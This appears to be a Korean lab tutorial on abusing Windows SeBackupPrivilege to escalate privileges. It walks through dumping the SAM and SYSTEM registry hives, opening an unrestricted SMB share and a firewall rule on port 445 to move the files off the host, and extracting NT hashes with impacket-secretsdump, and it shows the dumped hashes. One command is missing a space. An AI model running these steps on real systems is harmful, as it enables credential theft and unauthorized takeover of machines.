SeBackupPrivilege 권한은 Windows에서 시스템 파일을 백업할 수 있는 권한입니다.백업을 할 수 있기 위해서는 기본적으로 모든 디렉토리 및 파일에 접근이 가능해야 하기 때문에 제약 없이 거의 모든 파일을 읽을 수 있으며 ACL을 무시할 수 있습니다. 백업 권한을 사용하여 권한상승이 가능하고 Windows 내에서 매우 중요한 권한입니다.
일반적인 Windows 환경에 침투했을 때, SeBackupPrivilege 권한이 할당된 사용자의 계정이라면
reg save hklm\\SAM C:\\Windows\\Temp\\SAM
reg save hklm\\SYSTEM C:\\Windows\\Temp\\SYSTEM
이와 같은 명령어를 통해 SAM, SYSTEM 하이브 파일을 복사한 뒤 로컬로 다운로드 하여 secretsdump 모듈을 사용하여 NT Hash 정보들을 가져올 수 있습니다. SAM 파일은 로컬 사용자 계정과 그룹의 정보를 저장하며 이곳에 NT Hash가 저장됩니다. 그리고 SAM 파일로부터 NT Hash 정보를 가져오기 위해서는 암호화 키 역할을 하는 SYSTEM 파일이 필요합니다. 이러한 매커니즘 때문에 SAM, SYSTEM 파일을 가져온다면 secretsdump.py 모듈을 사용하여 NT Hash 추출이 가능합니다.
Active Directory가 아닌 일반적인 Windows 환경에서는 추가적인 모듈이나 기술은 요구되지 않고 SAM, SYSTEM 파일만 확보한다면 NT Hash 정보를 가져올 수 있기 때문에 해당 정보로 권한상승이 가능합니다. 두 파일로부터 NT 해쉬를 복원하기 위해서는 몇가지 조건이 달성되어야만 합니다.
획득한 사용자 쉘에서 권한정보를 확인하면 SeBackupPrivilege가 확인됩니다. 만약 이때 쉘 환경이 evil-winrm 등의 로컬과 상호작용이 가능한 쉘이라면 donwload 등의 방법으로 로컬로 이동이 가능하지만 일반 쉘의 경우 smb, ftp 등을 이용하여 옮겨야 합니다.
reg save hklm\sam C:\windows\Temp\SAM
reg save hklm\systemC:\windows\Temp\SYSTEM
download SAM
download SYSTEM
SAM 파일과 SYSTEM 파일을 로컬로 옮긴 후에는 impacket의 secretsdump 모듈을 사용하여 NT Hash를 덤핑할 수 있습니다.
impacket-secretsdump -sam sam -system system LOCAL
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-secretsdump -sam sam -system system LOCAL
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Target system bootKey: 0x662bf0d33d1f0b1865a749d6f5532a9d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a23ed2ef777dcf6a775c4989ebcc7f6d:::
yeonu:1004:aad3b435b51404eeaad3b435b51404ee:d17a76aedb99f92c19fe3db56b226e59:::
[*] Cleaning up...
일반 쉘의 경우 Kali 로컬에서 Windows로 파일을 전송하는 것은 비교적 쉽지만 Windows에서 Kali 로컬로 전송하는 것은 상황에 따라 제한적일 수 있습니다. 이번 실습에서는 Windows에서 SMB 서버를 실행하여 쉐어를 지정하고 해당 쉐어에 원격 접속을 통해 파일을 가져오는 방식을 사용합니다.
mkdir C:\Shared
net share SharedFolder=C:\Shared /grant:Everyone,FULL
net share
net start lanmanserver
netsh advfirewall firewall add rule name="Allow SMB" protocol=TCP dir=in localport=445 action=allow
SMB 서버가실행되었으면 해당 경로에서 SAM과 SYSTEM 파일을 두고 Kali에서 원격 접속을 통해 파일을 가져옵니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# smbclient //192.168.133.1/SharedFolder -U Administrator
Password for [WORKGROUP\Administrator]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Nov 7 10:10:48 2024
.. DHS 0 Thu Nov 7 10:06:51 2024
sam A 65536 Mon Nov 4 17:40:41 2024
system A 24739840 Mon Nov 4 17:40:54 2024
248213229 blocks of size 4096. 199583423 blocks available
마지막으로 impacket의 secretsdump 모듈을 통해서 NT Hash를 덤핑해줍니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-secretsdump -sam sam -system system LOCAL
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Target system bootKey: 0x662bf0d33d1f0b1865a749d6f5532a9d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a23ed2ef777dcf6a775c4989ebcc7f6d:::
yeonu:1004:aad3b435b51404eeaad3b435b51404ee:d17a76aedb99f92c19fe3db56b226e59:::
[*] Cleaning up...